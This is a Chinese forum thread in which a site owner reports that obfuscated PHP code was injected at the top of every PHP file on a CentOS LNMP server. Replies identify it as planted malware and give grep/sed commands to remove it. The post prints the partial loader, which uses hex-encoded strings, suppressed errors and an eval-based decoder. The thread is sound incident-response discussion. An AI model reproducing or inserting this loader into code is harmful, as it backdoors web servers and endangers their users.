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PHP文件开头被加了代码

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $nnurvqqmik = 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function fjfgg($n){return chr(ord($j+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%vd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x782>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x78#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825:<**#57]38y]47]67y]37]88ySFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbx7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825n)-1);} @error_reporting(0); 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$tqnghnyfzy=substr($nnurvqqmik,(64798-54692),(33-26)); if (!function_exists('oxlqbefoln')) { function oxlqbefoln($hgscpbcpvw, $yignozicpm) { $mnanqxjgpv = NULL; for($onczldyeeq=0;$onczldyeeq<(sizeof($hgscpbcpvw)/2);$onczldyeeq++) { $mnanqxjgpv .= substr($yignozicpm, $hgscpbcpvw[($onczldyeeq*2)],$hgscpbcpvw[($onczldyeeq*2)+1]); } return $mnanqxjgpv; };} $mmbcvrfwmv="\x20\57\x2a\40\x74\150\x69\172\x73\147\x79\151\x6f\155\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x31\55\x31\66\x34\51\x29\54\x20\143\x68\162\x28\50\x34\61\x32\55\x33\62\x30\51\x29\54\x20\157\x78\154\x71\142\x65\146\x6f\154\x6e\50\x24\167\x69\153\x66\172\x78\147\x6b\150\x78\54\x24\156\x6e\165\x72\166\x71\161\x6d\151\x6b\51\x29\51\x3b\40\x2f\52\x20\147\x75\142\x61\161\x6c\147\x66\170\x64\40\x2a\57\x20"; $qupcmlntsi=substr($nnurvqqmik,(54921-44808),(56-44)); $qupcmlntsi($tqnghnyfzy, $mmbcvrfwmv, NULL); $qupcmlntsi=$mmbcvrfwmv; $qupcmlntsi=(493-372); $nnurvqqmik=$qupcmlntsi-1; ?>

所有PHP文件头部都被加了代码,求解决:

1、查看了文件时间,没有变,但是文件还是被加了上面那段代码

2、那代码能看出是想做什么事情么

3、大概有哪方面的原因会被修改,环境是 CentOS LNMP

4、如果查不到原因,能否用一个shell + crontab来定时删除所有PHP文件头部有上面代码的写法,求写法


这行太长了,fx 卡了半天……

不论如何,被加都不是好东西,极有可能是被黑之后挂马的代码。立即清除不要犹豫。

文件修改时间不是判断标准,只有md5 才是准确的。如果文件md5 被变更,立即停服排查原因补漏洞。


根据特征,搜索了一下,最早发现一年前就有案例(http://www.v2ex.com/t/94586 and http://www.linuxquestions.org/questions/linux-server-73/some-virus-malware-in-my-php-script-4175516386-print/)

如何删除很简单啊,Linux使用GREP,awk删除指定行


我昨天也遇到此情况,wordpress下所有php文件都增加了上面那行代码。

我的解决方案是 grep '<?php if(!isset($GLOBALS' -rl ./
//检测当前目录下被感染的文件

sed -i "s/<\?php if(.+isset(\$GLOBALS.*\?><?php/<?php/" grep '<?php if(!isset($GLOBALS' -rl ./

//替换掉注入的代码。

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